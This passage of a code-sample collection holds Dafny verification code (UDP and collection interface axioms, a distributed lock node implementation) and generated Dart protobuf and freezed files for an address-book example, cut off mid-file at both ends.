time:uint64)\n}\n\n//////////////////////////////////////////////////////////////////////////////\n// Networking\n//////////////////////////////////////////////////////////////////////////////\n\ndatatype EndPoint = EndPoint(addr:seq<byte>, port:uint16)\n    // UdpPacket_ctor has silly name to ferret out backwards calls\ntype UdpPacket = LPacket<EndPoint, seq<byte>>\ntype UdpEvent = LIoOp<EndPoint, seq<byte>>\n\nclass UdpState\n{\n    constructor{:axiom} () requires false;\n    function{:axiom} history():seq<UdpEvent> reads this;\n}\n\nclass IPEndPoint\n{\n    ghost var env:HostEnvironment;\n    function{:axiom} Address():seq<byte> reads this;\n    function{:axiom} Port():uint16 reads this;\n    function EP():EndPoint reads this; { EndPoint(Address(), Port()) }\n    constructor{:axiom} () requires false;\n\n    method{:axiom} GetAddress() returns(addr:array<byte>)\n        ensures  addr != null;\n        ensures  fresh(addr);\n        ensures  addr[..] == Address();\n        ensures  addr.Length == 4;      // Encoding current IPv4 assumption\n\n    function method{:axiom} GetPort():uint16 reads this;\n        ensures  GetPort() == Port();\n\n    static method{:axiom} Construct(ipAddress:array<byte>, port:uint16, ghost env:HostEnvironment) returns(ok:bool, ep:IPEndPoint)\n        requires env != null && env.Valid();\n        requires ipAddress != null;\n        modifies env.ok;\n        ensures  env.ok.ok() == ok;\n        ensures  ok ==> ep != null && fresh(ep) && ep.env == env && ep.Address() == ipAddress[..] && ep.Port() == port;\n}\n\nfunction MaxPacketSize() : int { 65507 }\n\nclass UdpClient\n{\n    ghost var env:HostEnvironment;\n    function{:axiom} LocalEndPoint():EndPoint reads this;\n    function{:axiom} IsOpen():bool reads this;\n    constructor{:axiom} () requires false;\n\n    static method{:axiom} Construct(localEP:IPEndPoint, ghost env:HostEnvironment)\n        returns(ok:bool, udp:UdpClient)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires localEP != null;\n        modifies env.ok;\n        ensures  env.ok.ok() == ok;\n        ensures  ok ==>\n                       udp != null\n                    && fresh(udp)\n                    && udp.env == env\n                    && udp.IsOpen()\n                    && udp.LocalEndPoint() == localEP.EP();\n\n    method{:axiom} Close() returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires this.IsOpen();\n        modifies this;\n        modifies env.ok;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n\n    method{:axiom} Receive(timeLimit:int32) returns(ok:bool, timedOut:bool, remote:IPEndPoint, buffer:array<byte>)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        requires timeLimit >= 0;\n        requires int(timeLimit) * 1000 < 0x80000000; // only needed when the underlying implementation uses Socket.Poll instead of Task.Wait\n        modifies this;\n        modifies env.ok;\n        modifies env.now;\n        modifies env.udp;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n        ensures  AdvanceTime(old(env.now.now()), env.now.now(), int(timeLimit));\n        ensures  LocalEndPoint() == old(LocalEndPoint());\n        ensures  ok ==> IsOpen();\n        ensures  ok ==> timedOut  ==> env.udp.history() == old(env.udp.history()) + [LIoOpTimeoutReceive()];\n        ensures  ok ==> !timedOut ==>\n            remote != null\n            && buffer != null\n            && fresh(remote)\n            && fresh(buffer)\n            && env.udp.history() == old(env.udp.history()) +\n                [LIoOpReceive(LPacket(LocalEndPoint(), remote.EP(), buffer[..]))]\n            && buffer.Length < 0x1_0000_0000_0000_0000;\n\n    method{:axiom} Send(remote:IPEndPoint, buffer:array<byte>) returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        requires remote != null;\n        requires buffer != null;\n        requires buffer.Length <= MaxPacketSize();\n        modifies this;\n        modifies env.ok;\n        modifies env.udp;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n        ensures  LocalEndPoint() == old(LocalEndPoint());\n        ensures  ok ==> IsOpen();\n        ensures  ok ==> env.udp.history() == old(env.udp.history()) + [LIoOpSend(LPacket(remote.EP(), LocalEndPoint(), buffer[..]))];\n\n}\n\n// jonh temporarily neutered this because the opaque type can't be compiled\nclass FileSystemState\n{\n}\n\nclass MutableSet<T(==)>\n{\n    static function method {:axiom} SetOf(s:MutableSet<T>) : set<T>\n        reads s;\n\n    static method {:axiom} EmptySet() returns (s:MutableSet<T>)\n        ensures SetOf(s) == {};\n        ensures fresh(s); \n\n    constructor{:axiom} () requires false;\n\n    method {:axiom} Size() returns (size:int) \n        ensures size == |SetOf(this)|;\n\n    method {:axiom} SizeModest() returns (size:uint64) \n        requires |SetOf(this)| < 0x1_0000_0000_0000_0000;\n        ensures int(size) == |SetOf(this)|;\n\n    method {:axiom} Contains(x:T) returns (contains:bool)\n        ensures contains == (x in SetOf(this));\n\n    method {:axiom} Add(x:T) \n        modifies this;\n        ensures SetOf(this) == old(SetOf(this)) + {x};\n\n    method {:axiom} AddSet(s:MutableSet<T>) \n        modifies this;\n        ensures SetOf(this) == old(SetOf(this)) + old(SetOf(s));\n\n    method {:axiom} TransferSet(s:MutableSet<T>) \n        modifies this;\n        modifies s;\n        ensures SetOf(this) == old(SetOf(s));\n        ensures SetOf(s) == {};\n\n    method {:axiom} Remove(x:T) \n        modifies this;\n        ensures SetOf(this) == old(SetOf(this)) - {x};\n\n    method {:axiom} RemoveAll()\n        modifies this;\n        ensures SetOf(this) == {};\n}\n\nclass MutableMap<K(==),V>\n{\n    static function method {:axiom} MapOf(m:MutableMap<K,V>) : map<K,V> \n        reads m;\n\n    static method {:axiom} EmptyMap() returns (m:MutableMap<K,V>)\n        ensures MapOf(m) == map [];\n        ensures fresh(m); \n\n    static method {:axiom} FromMap(dafny_map:map<K,V>) returns (m:MutableMap<K,V>)\n        ensures MapOf(m) == dafny_map;\n        ensures fresh(m); \n\n    constructor{:axiom} () requires false;\n\n    function method {:axiom} Size() : int\n        reads this;\n        ensures this.Size() == |MapOf(this)|;\n\n    method {:axiom} SizeModest() returns (size:uint64) \n        requires |MapOf(this)| < 0x1_0000_0000_0000_0000;\n        ensures int(size) == |MapOf(this)|;\n\n    method {:axiom} Contains(key:K) returns (contains:bool)\n        ensures contains == (key in MapOf(this));\n\n    method {:axiom} TryGetValue(key:K) returns (contains:bool, val:V)\n        ensures contains == (key in MapOf(this));\n        ensures contains ==> val == MapOf(this)[key];\n\n    method {:axiom} Set(key:K, val:V) \n        modifies this;\n        ensures MapOf(this) == old(MapOf(this))[key := val];\n\n    method {:axiom} Remove(key:K) \n        modifies this;\n        ensures MapOf(this) == map k | k != key && k in old(MapOf(this)) :: old(MapOf(this))[k];\n}\n\n// Leverage .NET's ability to perform copies faster than one element at a time\nclass Arrays\n{\n    static method{:axiom} CopySeqIntoArray<A>(src:seq<A>, srcIndex:uint64, dst:array<A>, dstIndex:uint64, len:uint64)\n        requires dst != null;\n        requires int(srcIndex) + int(len) <= |src|;\n        requires int(dstIndex) + int(len) <= dst.Length;\n        modifies dst;\n        ensures  forall i :: 0 <= i < dst.Length ==> dst[i] == (\n                    if int(dstIndex) <= i < int(dstIndex) + int(len)\n                    then src[i - int(dstIndex) + int(srcIndex)]\n                    else old(dst[..])[i]);\n        ensures  forall i :: int(srcIndex) <= i < int(srcIndex) + int(len) ==>\n                    src[i] == dst[i - int(srcIndex) + int(dstIndex)];\n}\n\n\n/*\n//////////////////////////////////////////////////////////////////////////////\n// File System\n//////////////////////////////////////////////////////////////////////////////\n\ntype FileSystem\n\ndatatype FileOp =\n  FileRead(fileReadOffset:int, fileReadBytes:seq<byte>)\n| FileWrite(fileWriteOffset:int, fileWriteBytes:seq<byte>)\n| FileFlush\n\nclass FileSystemState\n{\n    constructor{:axiom} () requires false;\n    function{:axiom} state():FileSystem reads this;\n}\n\nfunction{:axiom} FileOpRequires(fs:FileSystem, fileName:string, op:FileOp):bool\nfunction{:axiom} FileOpEnsures(fsOld:FileSystem, fsNew:FileSystem, fileName:string, op:FileOp):bool\n\nclass FileStream\n{\n    ghost var env:HostEnvironment;\n    function{:axiom} Name():string reads this;\n    function{:axiom} IsOpen():bool reads this;\n    constructor{:axiom} () requires false;\n\n    static method{:axiom} Open(name:array<char>, ghost env:HostEnvironment)\n        returns(ok:bool, f:FileStream)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires name != null;\n        modifies env.ok;\n        ensures  env.ok.ok() == ok;\n        ensures  ok ==> f != null && fresh(f) && f.env == env && f.IsOpen() && f.Name() == name[..];\n\n    method{:axiom} Close() returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        modifies this;\n        modifies env.ok;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n\n    method{:axiom} Read(fileOffset:nat32, buffer:array<byte>, start:int32, end:int32) returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        requires buffer != null;\n        requires 0 <= int(start) <= int(end) <= buffer.Length;\n        requires FileOpRequires(env.files.state(), Name(), FileRead(int(fileOffset), buffer[start..end]));\n        modifies this;\n        modifies env.ok;\n        modifies env.files;\n        modifies buffer;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n        ensures  Name() == old(Name());\n        ensures  forall i:int :: 0 <= i < buffer.Length && !(int(start) <= i < int(end)) ==> buffer[i] == old(buffer[i]);\n        ensures  ok ==> IsOpen();\n        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileRead(int(fileOffset), buffer[start..end]));\n\n    method{:axiom} Write(fileOffset:nat32, buffer:array<byte>, start:int32, end:int32) returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        requires buffer != null;\n        requires 0 <= int(start) <= int(end) <= buffer.Length;\n        requires FileOpRequires(env.files.state(), Name(), FileWrite(int(fileOffset), buffer[start..end]));\n        modifies this;\n        modifies env.ok;\n        modifies env.files;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n        ensures  Name() == old(Name());\n        ensures  ok ==> IsOpen();\n        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileWrite(int(fileOffset), buffer[start..end]));\n\n    method{:axiom} Flush() returns(ok:bool)\n        requires env != null && env.Valid();\n        requires env.ok.ok();\n        requires IsOpen();\n        requires FileOpRequires(env.files.state(), Name(), FileFlush);\n        modifies this;\n        modifies env.ok;\n        modifies env.files;\n        ensures  env == old(env);\n        ensures  env.ok.ok() == ok;\n        ensures  Name() == old(Name());\n        ensures  ok ==> IsOpen();\n        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileFlush);\n}\n\n*/\n\n} "
  },
  {
    "path": "samples/Dafny/Node.i.dfy",
    "content": "// From: https://github.com/microsoft/Ironclad/blob/master/ironfleet/src/Dafny/Distributed/Protocol/Lock/Node.i.dfy\n\ninclude \"../../Protocol/Lock/Node.i.dfy\"\ninclude \"Message.i.dfy\"\ninclude \"../Common/UdpClient.i.dfy\"\ninclude \"../../Common/Logic/Option.i.dfy\"\ninclude \"PacketParsing.i.dfy\"\ninclude \"../Common/SeqIsUniqueDef.i.dfy\"\n\nmodule Impl_Node_i {\nimport opened Protocol_Node_i\nimport opened Message_i\nimport opened Common__UdpClient_i\nimport opened Logic__Option_i\nimport opened PacketParsing_i \nimport opened Common__SeqIsUniqueDef_i\n\ndatatype CNode = CNode(held:bool, epoch:uint64, my_index:uint64, config:Config)\n\npredicate ValidConfig(c:Config)\n{\n    0 < |c| < 0x1_0000_0000_0000_0000\n && (forall e :: e in c ==> EndPointIsValidIPV4(e))\n && SeqIsUnique(c)\n}\n\npredicate ValidConfigIndex(c:Config, index:uint64)\n{\n    0 <= int(index) < |c|\n}\n\npredicate CNodeValid(c:CNode)\n{\n       ValidConfig(c.config)\n    && ValidConfigIndex(c.config, c.my_index)\n}\n\nfunction AbstractifyCNode(n:CNode) : Node\n{\n    Node(n.held, int(n.epoch), int(n.my_index), n.config)\n}\n\nmethod NodeInitImpl(my_index:uint64, config:Config) returns (node:CNode)\n    requires 0 < |config| < 0x1_0000_0000_0000_0000;\n    requires 0 <= int(my_index) < |config|;\n    requires ValidConfig(config);\n    ensures CNodeValid(node);\n    ensures NodeInit(AbstractifyCNode(node), int(my_index), config);\n    ensures node.my_index == my_index;\n    ensures node.config == config;\n{\n    node := CNode(my_index == 0, if my_index == 0 then 1 else 0, my_index, config);\n    if node.held {\n        print \"I start holding the lock\\n\";\n    }\n}\n\nmethod NodeGrantImpl(s:CNode) returns (s':CNode, packet:Option<CLockPacket>, ghost ios:seq<LockIo>)\n    requires CNodeValid(s);\n    ensures  NodeGrant(AbstractifyCNode(s), AbstractifyCNode(s'), ios);\n    ensures  s'.my_index == s.my_index && s'.config == s.config;\n    ensures  |ios| == 0 || |ios| == 1;\n    ensures  packet.Some? ==> |ios| == 1 && ios[0].LIoOpSend? \n                           && ios[0].s == AbstractifyCLockPacket(packet.v);\n    ensures    OptionCLockPacketValid(packet) \n            && (packet.Some? ==> packet.v.src == s.config[s.my_index]); \n    ensures  packet.None? ==> ios == [] && s' == s;\n    ensures  CNodeValid(s');\n{\n    if s.held && s.epoch < 0xFFFF_FFFF_FFFF_FFFF {\n        s' := s[held := false];\n        var dst_index := (s.my_index + 1) % uint64(|s.config|);\n        packet := Some(LPacket(s.config[dst_index], s.config[s.my_index], CTransfer(s.epoch + 1)));\n        ios := [LIoOpSend(AbstractifyCLockPacket(packet.v))];\n        print \"I grant the lock \", s.epoch, \"\\n\";\n    } else {\n        s' := s;\n        ios := [];\n        packet := None();\n    }\n}\n\nmethod NodeAcceptImpl(s:CNode, transfer_packet:CLockPacket) \n    returns (s':CNode, locked_packet:Option<CLockPacket>, ghost ios:seq<LockIo>)\n    requires CNodeValid(s);\n    ensures  NodeAccept(AbstractifyCNode(s), AbstractifyCNode(s'), ios);\n    ensures  s'.my_index == s.my_index && s'.config == s.config;\n    ensures  |ios| == 1 || |ios| == 2;\n    ensures  locked_packet.None? ==> |ios| == 1 && ios[0].LIoOpReceive? \n                                  && ios[0].r == AbstractifyCLockPacket(transfer_packet);\n    ensures  locked_packet.Some? ==> |ios| == 2 \n                                  && ios == [LIoOpReceive(AbstractifyCLockPacket(transfer_packet)), \n                                             LIoOpSend(AbstractifyCLockPacket(locked_packet.v))];\n    ensures    OptionCLockPacketValid(locked_packet) \n            && (locked_packet.Some? ==> locked_packet.v.src == s.config[s.my_index]); \n    ensures  CNodeValid(s');\n{\n    ios := [LIoOpReceive(AbstractifyCLockPacket(transfer_packet))];\n\n    if    !s.held \n       && transfer_packet.src in s.config\n       && transfer_packet.msg.CTransfer? \n       && transfer_packet.msg.transfer_epoch > s.epoch {\n        s' := s[held := true][epoch := transfer_packet.msg.transfer_epoch];\n        locked_packet := Some(LPacket(transfer_packet.src, \n                                      s.config[s.my_index],\n                                      CLocked(transfer_packet.msg.transfer_epoch)));\n        ios := ios + [LIoOpSend(AbstractifyCLockPacket(locked_packet.v))];\n        print \"I hold the lock!\\n\";\n    } else  {\n        s' := s;\n        locked_packet := None();\n    }\n}\n\n}"
  },
  {
    "path": "samples/Dart/addressbook.pb.dart",
    "content": "//\n//  Generated code. Do not modify.\n//  source: addressbook.proto\n//\n// @dart = 3.3\n\n// ignore_for_file: annotate_overrides, camel_case_types, comment_references\n// ignore_for_file: constant_identifier_names\n// ignore_for_file: curly_braces_in_flow_control_structures\n// ignore_for_file: deprecated_member_use_from_same_package, library_prefixes\n// ignore_for_file: non_constant_identifier_names\n\nimport 'dart:core' as $core;\n\nimport 'package:protobuf/protobuf.dart' as $pb;\n\nimport 'addressbook.pbenum.dart';\n\nexport 'package:protobuf/protobuf.dart' show GeneratedMessageGenericExtensions;\n\nexport 'addressbook.pbenum.dart';\n\nclass Person_PhoneNumber extends $pb.GeneratedMessage {\n  factory Person_PhoneNumber({\n    $core.String? number,\n    Person_PhoneType? type,\n  }) {\n    final result = create();\n    if (number != null) result.number = number;\n    if (type != null) result.type = type;\n    return result;\n  }\n\n  Person_PhoneNumber._();\n\n  factory Person_PhoneNumber.fromBuffer($core.List<$core.int> data, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromBuffer(data, registry);\n  factory Person_PhoneNumber.fromJson($core.String json, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromJson(json, registry);\n\n  static final $pb.BuilderInfo _i = $pb.BuilderInfo(_omitMessageNames ? '' : 'Person.PhoneNumber', package: const $pb.PackageName(_omitMessageNames ? '' : 'tutorial'), createEmptyInstance: create)\n    ..aQS(1, _omitFieldNames ? '' : 'number')\n    ..e<Person_PhoneType>(2, _omitFieldNames ? '' : 'type', $pb.PbFieldType.OE, defaultOrMaker: Person_PhoneType.HOME, valueOf: Person_PhoneType.valueOf, enumValues: Person_PhoneType.values)\n  ;\n\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  Person_PhoneNumber clone() => Person_PhoneNumber()..mergeFromMessage(this);\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  Person_PhoneNumber copyWith(void Function(Person_PhoneNumber) updates) => super.copyWith((message) => updates(message as Person_PhoneNumber)) as Person_PhoneNumber;\n\n  @$core.override\n  $pb.BuilderInfo get info_ => _i;\n\n  @$core.pragma('dart2js:noInline')\n  static Person_PhoneNumber create() => Person_PhoneNumber._();\n  @$core.override\n  Person_PhoneNumber createEmptyInstance() => create();\n  static $pb.PbList<Person_PhoneNumber> createRepeated() => $pb.PbList<Person_PhoneNumber>();\n  @$core.pragma('dart2js:noInline')\n  static Person_PhoneNumber getDefault() => _defaultInstance ??= $pb.GeneratedMessage.$_defaultFor<Person_PhoneNumber>(create);\n  static Person_PhoneNumber? _defaultInstance;\n\n  @$pb.TagNumber(1)\n  $core.String get number => $_getSZ(0);\n  @$pb.TagNumber(1)\n  set number($core.String value) => $_setString(0, value);\n  @$pb.TagNumber(1)\n  $core.bool hasNumber() => $_has(0);\n  @$pb.TagNumber(1)\n  void clearNumber() => $_clearField(1);\n\n  @$pb.TagNumber(2)\n  Person_PhoneType get type => $_getN(1);\n  @$pb.TagNumber(2)\n  set type(Person_PhoneType value) => $_setField(2, value);\n  @$pb.TagNumber(2)\n  $core.bool hasType() => $_has(1);\n  @$pb.TagNumber(2)\n  void clearType() => $_clearField(2);\n}\n\nclass Person extends $pb.GeneratedMessage {\n  factory Person({\n    $core.String? name,\n    $core.int? id,\n    $core.String? email,\n    $core.Iterable<Person_PhoneNumber>? phone,\n  }) {\n    final result = create();\n    if (name != null) result.name = name;\n    if (id != null) result.id = id;\n    if (email != null) result.email = email;\n    if (phone != null) result.phone.addAll(phone);\n    return result;\n  }\n\n  Person._();\n\n  factory Person.fromBuffer($core.List<$core.int> data, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromBuffer(data, registry);\n  factory Person.fromJson($core.String json, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromJson(json, registry);\n\n  static final $pb.BuilderInfo _i = $pb.BuilderInfo(_omitMessageNames ? '' : 'Person', package: const $pb.PackageName(_omitMessageNames ? '' : 'tutorial'), createEmptyInstance: create)\n    ..aQS(1, _omitFieldNames ? '' : 'name')\n    ..a<$core.int>(2, _omitFieldNames ? '' : 'id', $pb.PbFieldType.Q3)\n    ..aOS(3, _omitFieldNames ? '' : 'email')\n    ..pc<Person_PhoneNumber>(4, _omitFieldNames ? '' : 'phone', $pb.PbFieldType.PM, subBuilder: Person_PhoneNumber.create)\n  ;\n\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  Person clone() => Person()..mergeFromMessage(this);\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  Person copyWith(void Function(Person) updates) => super.copyWith((message) => updates(message as Person)) as Person;\n\n  @$core.override\n  $pb.BuilderInfo get info_ => _i;\n\n  @$core.pragma('dart2js:noInline')\n  static Person create() => Person._();\n  @$core.override\n  Person createEmptyInstance() => create();\n  static $pb.PbList<Person> createRepeated() => $pb.PbList<Person>();\n  @$core.pragma('dart2js:noInline')\n  static Person getDefault() => _defaultInstance ??= $pb.GeneratedMessage.$_defaultFor<Person>(create);\n  static Person? _defaultInstance;\n\n  @$pb.TagNumber(1)\n  $core.String get name => $_getSZ(0);\n  @$pb.TagNumber(1)\n  set name($core.String value) => $_setString(0, value);\n  @$pb.TagNumber(1)\n  $core.bool hasName() => $_has(0);\n  @$pb.TagNumber(1)\n  void clearName() => $_clearField(1);\n\n  @$pb.TagNumber(2)\n  $core.int get id => $_getIZ(1);\n  @$pb.TagNumber(2)\n  set id($core.int value) => $_setSignedInt32(1, value);\n  @$pb.TagNumber(2)\n  $core.bool hasId() => $_has(1);\n  @$pb.TagNumber(2)\n  void clearId() => $_clearField(2);\n\n  @$pb.TagNumber(3)\n  $core.String get email => $_getSZ(2);\n  @$pb.TagNumber(3)\n  set email($core.String value) => $_setString(2, value);\n  @$pb.TagNumber(3)\n  $core.bool hasEmail() => $_has(2);\n  @$pb.TagNumber(3)\n  void clearEmail() => $_clearField(3);\n\n  @$pb.TagNumber(4)\n  $pb.PbList<Person_PhoneNumber> get phone => $_getList(3);\n}\n\nclass AddressBook extends $pb.GeneratedMessage {\n  factory AddressBook({\n    $core.Iterable<Person>? person,\n  }) {\n    final result = create();\n    if (person != null) result.person.addAll(person);\n    return result;\n  }\n\n  AddressBook._();\n\n  factory AddressBook.fromBuffer($core.List<$core.int> data, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromBuffer(data, registry);\n  factory AddressBook.fromJson($core.String json, [$pb.ExtensionRegistry registry = $pb.ExtensionRegistry.EMPTY]) => create()..mergeFromJson(json, registry);\n\n  static final $pb.BuilderInfo _i = $pb.BuilderInfo(_omitMessageNames ? '' : 'AddressBook', package: const $pb.PackageName(_omitMessageNames ? '' : 'tutorial'), createEmptyInstance: create)\n    ..pc<Person>(1, _omitFieldNames ? '' : 'person', $pb.PbFieldType.PM, subBuilder: Person.create)\n  ;\n\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  AddressBook clone() => AddressBook()..mergeFromMessage(this);\n  @$core.Deprecated('See https://github.com/google/protobuf.dart/issues/998.')\n  AddressBook copyWith(void Function(AddressBook) updates) => super.copyWith((message) => updates(message as AddressBook)) as AddressBook;\n\n  @$core.override\n  $pb.BuilderInfo get info_ => _i;\n\n  @$core.pragma('dart2js:noInline')\n  static AddressBook create() => AddressBook._();\n  @$core.override\n  AddressBook createEmptyInstance() => create();\n  static $pb.PbList<AddressBook> createRepeated() => $pb.PbList<AddressBook>();\n  @$core.pragma('dart2js:noInline')\n  static AddressBook getDefault() => _defaultInstance ??= $pb.GeneratedMessage.$_defaultFor<AddressBook>(create);\n  static AddressBook? _defaultInstance;\n\n  @$pb.TagNumber(1)\n  $pb.PbList<Person> get person => $_getList(0);\n}\n\n\nconst $core.bool _omitFieldNames = $core.bool.fromEnvironment('protobuf.omit_field_names');\nconst $core.bool _omitMessageNames = $core.bool.fromEnvironment('protobuf.omit_message_names');\n"
  },
  {
    "path": "samples/Dart/addressbook.pbenum.dart",
    "content": "//\n//  Generated code. Do not modify.\n//  source: addressbook.proto\n//\n// @dart = 3.3\n\n// ignore_for_file: annotate_overrides, camel_case_types, comment_references\n// ignore_for_file: constant_identifier_names\n// ignore_for_file: curly_braces_in_flow_control_structures\n// ignore_for_file: deprecated_member_use_from_same_package, library_prefixes\n// ignore_for_file: non_constant_identifier_names\n\nimport 'dart:core' as $core;\n\nimport 'package:protobuf/protobuf.dart' as $pb;\n\nclass Person_PhoneType extends $pb.ProtobufEnum {\n  static const Person_PhoneType MOBILE = Person_PhoneType._(0, _omitEnumNames ? '' : 'MOBILE');\n  static const Person_PhoneType HOME = Person_PhoneType._(1, _omitEnumNames ? '' : 'HOME');\n  static const Person_PhoneType WORK = Person_PhoneType._(2, _omitEnumNames ? '' : 'WORK');\n\n  static const $core.List<Person_PhoneType> values = <Person_PhoneType> [\n    MOBILE,\n    HOME,\n    WORK,\n  ];\n\n  static final $core.List<Person_PhoneType?> _byValue = $pb.ProtobufEnum.$_initByValueList(values, 2);\n  static Person_PhoneType? valueOf($core.int value) =>  value < 0 || value >= _byValue.length ? null : _byValue[value];\n\n  const Person_PhoneType._(super.value, super.name);\n}\n\n\nconst $core.bool _omitEnumNames = $core.bool.fromEnvironment('protobuf.omit_enum_names');\n"
  },
  {
    "path": "samples/Dart/addressbook.pbjson.dart",
    "content": "//\n//  Generated code. Do not modify.\n//  source: addressbook.proto\n//\n// @dart = 3.3\n\n// ignore_for_file: annotate_overrides, camel_case_types, comment_references\n// ignore_for_file: constant_identifier_names\n// ignore_for_file: curly_braces_in_flow_control_structures\n// ignore_for_file: deprecated_member_use_from_same_package, library_prefixes\n// ignore_for_file: non_constant_identifier_names\n\nimport 'dart:convert' as $convert;\nimport 'dart:core' as $core;\nimport 'dart:typed_data' as $typed_data;\n\n@$core.Deprecated('Use personDescriptor instead')\nconst Person$json = {\n  '1': 'Person',\n  '2': [\n    {'1': 'name', '3': 1, '4': 2, '5': 9, '10': 'name'},\n    {'1': 'id', '3': 2, '4': 2, '5': 5, '10': 'id'},\n    {'1': 'email', '3': 3, '4': 1, '5': 9, '10': 'email'},\n    {'1': 'phone', '3': 4, '4': 3, '5': 11, '6': '.tutorial.Person.PhoneNumber', '10': 'phone'},\n  ],\n  '3': [Person_PhoneNumber$json],\n  '4': [Person_PhoneType$json],\n};\n\n@$core.Deprecated('Use personDescriptor instead')\nconst Person_PhoneNumber$json = {\n  '1': 'PhoneNumber',\n  '2': [\n    {'1': 'number', '3': 1, '4': 2, '5': 9, '10': 'number'},\n    {'1': 'type', '3': 2, '4': 1, '5': 14, '6': '.tutorial.Person.PhoneType', '7': 'HOME', '10': 'type'},\n  ],\n};\n\n@$core.Deprecated('Use personDescriptor instead')\nconst Person_PhoneType$json = {\n  '1': 'PhoneType',\n  '2': [\n    {'1': 'MOBILE', '2': 0},\n    {'1': 'HOME', '2': 1},\n    {'1': 'WORK', '2': 2},\n  ],\n};\n\n/// Descriptor for `Person`. Decode as a `google.protobuf.DescriptorProto`.\nfinal $typed_data.Uint8List personDescriptor = $convert.base64Decode(\n    'CgZQZXJzb24SEgoEbmFtZRgBIAIoCVIEbmFtZRIOCgJpZBgCIAIoBVICaWQSFAoFZW1haWwYAy'\n    'ABKAlSBWVtYWlsEjIKBXBob25lGAQgAygLMhwudHV0b3JpYWwuUGVyc29uLlBob25lTnVtYmVy'\n    'UgVwaG9uZRpbCgtQaG9uZU51bWJlchIWCgZudW1iZXIYASACKAlSBm51bWJlchI0CgR0eXBlGA'\n    'IgASgOMhoudHV0b3JpYWwuUGVyc29uLlBob25lVHlwZToESE9NRVIEdHlwZSIrCglQaG9uZVR5'\n    'cGUSCgoGTU9CSUxFEAASCAoESE9NRRABEggKBFdPUksQAg==');\n\n@$core.Deprecated('Use addressBookDescriptor instead')\nconst AddressBook$json = {\n  '1': 'AddressBook',\n  '2': [\n    {'1': 'person', '3': 1, '4': 3, '5': 11, '6': '.tutorial.Person', '10': 'person'},\n  ],\n};\n\n/// Descriptor for `AddressBook`. Decode as a `google.protobuf.DescriptorProto`.\nfinal $typed_data.Uint8List addressBookDescriptor = $convert.base64Decode(\n    'CgtBZGRyZXNzQm9vaxIoCgZwZXJzb24YASADKAsyEC50dXRvcmlhbC5QZXJzb25SBnBlcnNvbg'\n    '==');\n\n"
  },
  {
    "path": "samples/Dart/equals.dart",
    "content": "import 'package:freezed_annotation/freezed_annotation.dart';\n\npart 'equals.freezed.dart';\n\n@freezed\nabstract class Equals with _$Equals {\n  Equals._();\n  factory Equals({String? name, int? age}) = _Equals;\n\n  @override\n  bool operator ==(Object o) => o is Equals && o.name == name;\n\n  @override\n  int get hashCode => name.hashCode;\n}\n"
  },
  {
    "path": "samples/Dart/equals.freezed.dart",
    "content": "// dart format width=80\n// coverage:ignore-file\n// GENERATED CODE - DO NOT MODIFY BY HAND\n// ignore_for_file: type=lint\n// ignore_for_file: unused_element, deprecated_member_use, deprecated_member_use_from_same_package, use_function_type_syntax_for_parameters, unnecessary_const, avoid_init_to_null, invalid_override_different_default_values_named, prefer_expression_function_bodies, annotate_overrides, invalid_annotation_target, unnecessary_question_mark\n\npart of 'equals.dart';\n\n// **************************************************************************\n// FreezedGenerator\n// **************************************************************************\n\n// dart format off\nT _$identity<T>(T value) => value;\n\n/// @nodoc\nmixin _$Equals {\n  String? get name;\n  int? get age;\n\n  /// Create a copy of Equals\n  /// with the given fields replaced by the non-null parameter values.\n  @JsonKey(includeFromJson: false, includeToJson: false)\n  @pragma('vm:prefer-inline')\n  $EqualsCopyWith<Equals> get copyWith =>\n      _$EqualsCopyWithImpl<Equals>(this as Equals, _$identity);\n\n  @override\n  String toString() {\n    return 'Equals(name: $name, age: $age)';\n  }\n}\n\n/// @nodoc\nabstract mixin class $EqualsCopyWith<$Res> {\n  factory $EqualsCopyWith(Equals value, $Res Function(Equals) _then) =\n  _$EqualsCopyWithImpl;\n  @useResult\n  $Res call({String? name, int? age});\n}\n\n/// @nodoc\nclass _$EqualsCopyWithImpl<$Res> implements $EqualsCopyWith<$Res> {\n  _$EqualsCopyWithImpl(this._self, this._then);\n\n  final Equals _self;\n  final $Res Function(Equals) _then;\n\n  /// Create a copy of Equals\n  /// with the given fields replaced by the non-null parameter values.\n  @pragma('vm:prefer-inline')\n  @override\n  $Res call({\n    Object? name = freezed,\n    Object? age = freezed,\n  }) {\n    return _then(_self.copyWith(\n      name: freezed == name\n          ? _self.name\n          : name // ignore: cast_nullable_to_non_nullable\n      as String?,\n      age: freezed == age\n          ? _self.age\n          : age // ignore: 